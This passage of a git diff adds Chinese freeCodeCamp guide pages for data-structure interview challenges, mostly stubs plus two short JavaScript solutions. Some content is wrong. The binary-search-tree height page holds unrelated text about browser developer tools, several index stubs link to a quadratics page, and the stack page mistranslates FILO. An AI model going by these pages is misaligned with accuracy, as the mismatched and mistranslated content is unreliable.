+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-an-es6-javascript-map/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-and-add-to-sets-in-es6/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-and-add-to-sets-in-es6/index.md
new file mode 100644
index 0000000000..69179def96
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/create-and-add-to-sets-in-es6/index.md
@@ -0,0 +1,9 @@
+---
+title: Create and Add to Sets in ES6
+localeTitle: 在ES6中创建和添加集
+---
+## 在ES6中创建和添加集
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-and-add-to-sets-in-es6/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/delete-a-leaf-node-in-a-binary-search-tree/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/delete-a-leaf-node-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..0d37e82264
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/delete-a-leaf-node-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete a Leaf Node in a Binary Search Tree
+localeTitle: 删除二进制搜索树中的叶节点
+---
+## 删除二进制搜索树中的叶节点
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/delete-a-leaf-node-in-a-binary-search-tree/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/delete-a-node-with-one-child-in-a-binary-search-tree/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/delete-a-node-with-one-child-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..93ff684f6a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/delete-a-node-with-one-child-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete a Node with One Child in a Binary Search Tree
+localeTitle: 在二叉搜索树中删除具有一个子节点的节点
+---
+## 在二叉搜索树中删除具有一个子节点的节点
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/delete-a-node-with-one-child-in-a-binary-search-tree/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/delete-a-node-with-two-children-in-a-binary-search-tree/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/delete-a-node-with-two-children-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..411e45a9a4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/delete-a-node-with-two-children-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete a Node with Two Children in a Binary Search Tree
+localeTitle: 在二叉搜索树中删除具有两个子节点的节点
+---
+## 在二叉搜索树中删除具有两个子节点的节点
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/delete-a-node-with-two-children-in-a-binary-search-tree/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/depth-first-search/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/depth-first-search/index.md
new file mode 100644
index 0000000000..17c5d398b7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/depth-first-search/index.md
@@ -0,0 +1,9 @@
+---
+title: Depth-First Search
+localeTitle: 深度优先搜索
+---
+## 深度优先搜索
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/depth-first-search/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-height-of-a-binary-search-tree/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-height-of-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..802f2642bf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-height-of-a-binary-search-tree/index.md
@@ -0,0 +1,60 @@
+---
+title: Find the Minimum and Maximum Height of a Binary Search Tree
+localeTitle: 找到二叉搜索树的最小和最大高度
+---
+## 找到二叉搜索树的最小和最大高度
+
+每个现代Web浏览器都包含一套强大的开发人员工具。这些工具可以执行各种操作，从检查当前加载的HTML，CSS和JavaScript到显示页面请求的资产以及加载时间。下面列出了一些主要功能：
+
+*   访问浏览器控制台
+*   测试响应和设备特定的视口
+*   编辑DOM
+*   调试
+*   分析网络活动
+*   了解安全问题
+
+以及更多…
+
+## 如何打开开发工具
+
+### 键盘
+```
+Ctrl + Shift + I 
+```
+
+### 菜单栏
+
+#### 火狐
+```
+Tools ➤ Web Developer ➤ Toggle Tools 
+```
+
+#### 铬/铬
+```
+Tools ➤ Developer Tools 
+```
+
+#### 苹果浏览器
+```
+Develop ➤ Show Web Inspector. 
+```
+
+如果您看不到“开发”菜单，请转到 `Safari ➤ Preferences ➤ Advanced` 并选中菜单栏中的`Show Develop menu`复选框。
+
+#### 歌剧
+```
+Developer ➤ Web Inspector 
+```
+
+### 上下文菜单
+
+`Right-click`网页上的项目（在Mac上按住Ctrl键并单击），然后从出现的上下文菜单中选择“ `Inspect Element` ”。
+
+此方法直接突出显示右键单击元素的代码。
+
+## 更多信息：
+
+Mozilla开发人员网络Web文档： [什么是浏览器开发人员工具？](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools)
+
+Google Developers： [Chrome开发者工具](https://developers.google.com/web/tools/chrome-devtools/
+)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-value-in-a-binary-search-tree/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-value-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..7daab0d9f5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-value-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Find the Minimum and Maximum Value in a Binary Search Tree
+localeTitle: 在二叉搜索树中查找最小值和最大值
+---
+## 在二叉搜索树中查找最小值和最大值
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-value-in-a-binary-search-tree/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/implement-heap-sort-with-a-min-heap/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/implement-heap-sort-with-a-min-heap/index.md
new file mode 100644
index 0000000000..cb08231408
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/implement-heap-sort-with-a-min-heap/index.md
@@ -0,0 +1,9 @@
+---
+title: Implement Heap Sort with a Min Heap
+localeTitle: 用最小堆实现堆排序
+---
+## 用最小堆实现堆排序
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/implement-heap-sort-with-a-min-heap/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/incidence-matrix/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/incidence-matrix/index.md
new file mode 100644
index 0000000000..8f3ed35b0a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/incidence-matrix/index.md
@@ -0,0 +1,9 @@
+---
+title: Incidence Matrix
+localeTitle: 发生率矩阵
+---
+## 发生率矩阵
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/incidence-matrix/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/index.md
new file mode 100644
index 0000000000..4a31ea3f4a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Structures
+localeTitle: 数据结构
+---
+## 数据结构
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/insert-an-element-into-a-max-heap/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/insert-an-element-into-a-max-heap/index.md
new file mode 100644
index 0000000000..0880ddcd26
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/insert-an-element-into-a-max-heap/index.md
@@ -0,0 +1,9 @@
+---
+title: Insert an Element into a Max Heap
+localeTitle: 将元素插入最大堆
+---
+## 将元素插入最大堆
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/insert-an-element-into-a-max-heap/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/invert-a-binary-tree/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/invert-a-binary-tree/index.md
new file mode 100644
index 0000000000..54dc525829
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/invert-a-binary-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Invert a Binary Tree
+localeTitle: 反转二叉树
+---
+## 反转二叉树
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/invert-a-binary-tree/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/learn-how-a-stack-works/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/learn-how-a-stack-works/index.md
new file mode 100644
index 0000000000..388b59765b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/learn-how-a-stack-works/index.md
@@ -0,0 +1,27 @@
+---
+title: Learn how a Stack Works
+localeTitle: 了解堆栈的工作原理
+---
+## 了解堆栈的工作原理
+
+### 方法：
+
+*   堆栈是一种抽象的数据结构。
+*   他们遵循LIFO（后进先出）或FILO（先进先出）原则。
+*   堆栈的插入和删除操作具有**O（1）**时间复杂度。
+*   在Javascript中，数组可以被视为一个堆栈，因为`.push()`和`.pop()`方法的时间复杂度为**O（1）** 。
+*   在这个挑战中，我们需要将`.pop()`和`.push()`放入堆栈中。
+
+### 解：
+
+```js
+var homeworkStack = ["BIO12","HIS80","MAT122","PSY44"]; 
+ 
+ homeworkStack.pop(); 
+ homeworkStack.push("CS50"); 
+```
+
+### 参考：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Stack_(abstract_data_type))
+*   [Hackerrank的](https://www.youtube.com/watch?v=wjI1WNcIntg)视频
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/perform-a-difference-on-two-sets-of-data/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/perform-a-difference-on-two-sets-of-data/index.md
new file mode 100644
index 0000000000..dc9e445981
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/perform-a-difference-on-two-sets-of-data/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform a Difference on Two Sets of Data
+localeTitle: 对两组数据执行差异
+---
+## 对两组数据执行差异
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/perform-a-difference-on-two-sets-of-data/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/perform-a-subset-check-on-two-sets-of-data/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/perform-a-subset-check-on-two-sets-of-data/index.md
new file mode 100644
index 0000000000..5a41ff5700
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/perform-a-subset-check-on-two-sets-of-data/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform a Subset Check on Two Sets of Data
+localeTitle: 对两组数据执行子集检查
+---
+## 对两组数据执行子集检查
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/perform-a-subset-check-on-two-sets-of-data/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/perform-a-union-on-two-sets/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/perform-a-union-on-two-sets/index.md
new file mode 100644
index 0000000000..76072766cb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/perform-a-union-on-two-sets/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform a Union on Two Sets
+localeTitle: 在两个集上执行联合
+---
+## 在两个集上执行联合
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/perform-a-union-on-two-sets/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/perform-an-intersection-on-two-sets-of-data/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/perform-an-intersection-on-two-sets-of-data/index.md
new file mode 100644
index 0000000000..6c174f9d63
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/perform-an-intersection-on-two-sets-of-data/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform an Intersection on Two Sets of Data
+localeTitle: 在两组数据上执行交集
+---
+## 在两组数据上执行交集
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/perform-an-intersection-on-two-sets-of-data/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/remove-an-element-from-a-max-heap/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/remove-an-element-from-a-max-heap/index.md
new file mode 100644
index 0000000000..ebeacb6bbd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/remove-an-element-from-a-max-heap/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove an Element from a Max Heap
+localeTitle: 从最大堆中删除元素
+---
+## 从最大堆中删除元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/remove-an-element-from-a-max-heap/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list-by-index/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list-by-index/index.md
new file mode 100644
index 0000000000..1b7e356c43
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list-by-index/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove Elements from a Linked List by Index
+localeTitle: 按索引从链接列表中删除元素
+---
+## 按索引从链接列表中删除元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list-by-index/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list/index.md
new file mode 100644
index 0000000000..11eac49f4f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove Elements from a Linked List
+localeTitle: 从链接列表中删除元素
+---
+## 从链接列表中删除元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/remove-from-a-set/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/remove-from-a-set/index.md
new file mode 100644
index 0000000000..c3658fa47c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/remove-from-a-set/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove from a Set
+localeTitle: 从集合中删除
+---
+## 从集合中删除
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/remove-from-a-set/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/remove-items-from-a-set-in-es6/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/remove-items-from-a-set-in-es6/index.md
new file mode 100644
index 0000000000..aa9f680a7c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/remove-items-from-a-set-in-es6/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove items from a set in ES6
+localeTitle: 从ES6中的集中删除项目
+---
+## 从ES6中的集中删除项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/remove-items-from-a-set-in-es6/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/reverse-a-doubly-linked-list/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/reverse-a-doubly-linked-list/index.md
new file mode 100644
index 0000000000..d9bbf65c2b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/reverse-a-doubly-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Reverse a Doubly Linked List
+localeTitle: 反转双重链接列表
+---
+## 反转双重链接列表
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/reverse-a-doubly-linked-list/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/search-within-a-linked-list/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/search-within-a-linked-list/index.md
new file mode 100644
index 0000000000..3bde7d28e9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/search-within-a-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Search within a Linked List
+localeTitle: 在链接列表中搜索
+---
+## 在链接列表中搜索
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/search-within-a-linked-list/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/size-of-the-set/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/size-of-the-set/index.md
new file mode 100644
index 0000000000..44deafbf70
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/size-of-the-set/index.md
@@ -0,0 +1,9 @@
+---
+title: Size of the Set
+localeTitle: 套装的大小
+---
+## 套装的大小
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/size-of-the-set/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/typed-arrays/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/typed-arrays/index.md
new file mode 100644
index 0000000000..7d6145759b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/typed-arrays/index.md
@@ -0,0 +1,25 @@
+---
+title: Typed Arrays
+localeTitle: 键入的数组
+---
+## 键入的数组
+
+### 方法：
+
+*   在这个挑战中，首先我们需要创建一个64字节的缓冲区。我们可以使用`ArrayBuffer()`构造函数。
+*   在创建缓冲区之后，我们需要创建一个Int32Array，为此我们可以使用`Int32Array()`构造函数。
+
+### 解：
+
+```js
+//Create a buffer of 64 bytes 
+ var buffer = new ArrayBuffer(64); 
+ 
+ //Make 32-bit int typed array with the above buffer 
+ var i32View = new Int32Array(buffer); 
+```
+
+### 参考文献：
+
+*   [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer)
+*   [TypedArray](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/use-.has-and-.size-on-an-es6-set/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/use-.has-and-.size-on-an-es6-set/index.md
new file mode 100644
index 0000000000..b475d13ccb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/use-.has-and-.size-on-an-es6-set/index.md
@@ -0,0 +1,9 @@
+---
+title: Use .has and .size on an ES6 Set
+localeTitle: 在ES6集上使用.has和.size
+---
+## 在ES6集上使用.has和.size
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/use-.has-and-.size-on-an-es6-set/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/use-breadth-first-search-in-a-binary-search-tree/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/use-breadth-first-search-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..2355d2e374
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/use-breadth-first-search-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Breadth First Search in a Binary Search Tree
+localeTitle: 在二叉搜索树中使用广度优先搜索
+---
+## 在二叉搜索树中使用广度优先搜索
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/use-breadth-first-search-in-a-binary-search-tree/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/use-depth-first-search-in-a-binary-search-tree/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/use-depth-first-search-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..36cafb195a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/use-depth-first-search-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Depth First Search in a Binary Search Tree
+localeTitle: 在二叉搜索树中使用深度优先搜索
+---
+## 在二叉搜索树中使用深度优先搜索
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/use-depth-first-search-in-a-binary-search-tree/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/use-spread-and-notes-for-es5-set-integration/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/use-spread-and-notes-for-es5-set-integration/index.md
new file mode 100644
index 0000000000..fa564217ca
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/use-spread-and-notes-for-es5-set-integration/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Spread and Notes for ES5 Set() Integration
+localeTitle: 使用Spread和Notes进行ES5 Set（）集成
+---
+## 使用Spread和Notes进行ES5 Set（）集成
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/use-spread-and-notes-for-es5-set-integration/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/work-with-nodes-in-a-linked-list/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/work-with-nodes-in-a-linked-list/index.md
new file mode 100644
index 0000000000..25ab37ec17
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/data-structures/work-with-nodes-in-a-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Work with Nodes in a Linked List
+localeTitle: 使用链接列表中的节点
+---
+## 使用链接列表中的节点
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/work-with-nodes-in-a-linked-list/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/index.md
new file mode 100644
index 0000000000..08a7b95b06
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/index.md
@@ -0,0 +1,11 @@
+---
+title: Coding Interview Prep
+localeTitle: 编码面试准备
+---
+## 编码面试准备
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/index.md
new file mode 100644
index 0000000000..ac8322999f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/index.md
@@ -0,0 +1,11 @@
+---
+title: Project Euler
+localeTitle: 项目欧拉
+---
+## 项目欧拉
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
